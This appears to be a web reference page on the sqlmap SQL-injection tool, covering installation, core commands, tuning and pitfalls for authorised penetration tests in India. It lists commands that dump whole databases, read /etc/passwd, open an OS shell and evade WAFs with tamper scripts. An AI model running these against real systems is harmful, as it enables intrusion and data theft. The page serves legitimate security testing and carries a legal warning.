sqlmap — Install, Use, Optimise (2026)

Automatic SQL injection detection and exploitation — the canonical tool for proving SQLi to a developer.

Installation

Pick the install method that matches your stack. The Docker option is the cleanest for one-off scans where you don’t want to pollute your workstation.

Linux (apt)

sudo apt install sqlmap

Source (recommended)

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

Docker

docker run --rm -it paoloo/sqlmap -u "https://target.com/?id=1"

Core commands

The handful of invocations you’ll actually run on 90% of engagements:

Basic GET parameter test

sqlmap -u "https://target.com/page?id=1" --batch

Test all parameters in URL

sqlmap -u "https://target.com/page?id=1&user=x" --level=5 --risk=3 --batch

POST request from file

sqlmap -r request.txt -p username --batch

Dump everything (post-exploit)

sqlmap -u URL --dbs --tables --columns --dump

Read OS file via FILE privilege

sqlmap -u URL --file-read=/etc/passwd

OS shell via stacked queries

sqlmap -u URL --os-shell

Performance optimisation

What separates a junior who runs the default invocation from a practitioner who knows the knobs:

• --threads=10 caps at 10 (hardcoded). For volume, run multiple sqlmap processes against different params.
• --level 1-5 + --risk 1-3 control payload depth. Default (1/1) misses 60% of real SQLi. Use 3/2 for thorough.
• --tamper=between,space2comment,charunicodeencode evades most basic WAFs. --tamper list at sqlmap.org/tamper.
• --time-sec=10 for blind SQLi where defaults timeout — bumps the time-based detection threshold.
• --technique=BEUSTQ selects which techniques to test (Boolean, Error, Union, Stacked, Time, inline-Query). BEU is fastest; T is slowest.
• -o enables output optimisation: persistent HTTP, prediction, compression. ~3× faster on most targets.

Common pitfalls

Real failure modes that bite people on engagements. Most are recoverable; a few are reputation-damaging.

• Default risk=1 only does benign tests. Set --risk=2 minimum or you’ll miss DROP TABLE-style payloads (which you obviously don’t fire on prod).
• Custom auth: use --cookie + --csrf-token + --csrf-url — NOT –auth-cred (which is HTTP basic only).
• sqlmap WILL exfiltrate data if you run --dump with no scope filter. Always test with --current-user or --current-db first.
• Cloudflare/Akamai WAF blocks default UAs. Set --random-agent or --user-agent.

Modern alternatives in 2026

The ecosystem moves fast. These are tools you should at least be aware of:

• NoSQLMap — for Mongo/Couch.
• jSQL — Java GUI, sometimes finds things sqlmap misses.
• SQLNinja — MSSQL-focused (older).

India context and engagement notes

For DPDP / RBI breach reports: a sqlmap PoC dumping 1 row of customer data (with consent / staging) is the strongest evidence to escalate to executives. Always redact in the report.

⚖️ Legal: Use only on systems you own or have explicit written authorisation to test. In India, unauthorised access is punishable under Section 66 of the IT Act, 2000 (up to 3 years imprisonment + fine). Pair every engagement with a signed Statement of Work or Rules of Engagement before running anything from this page.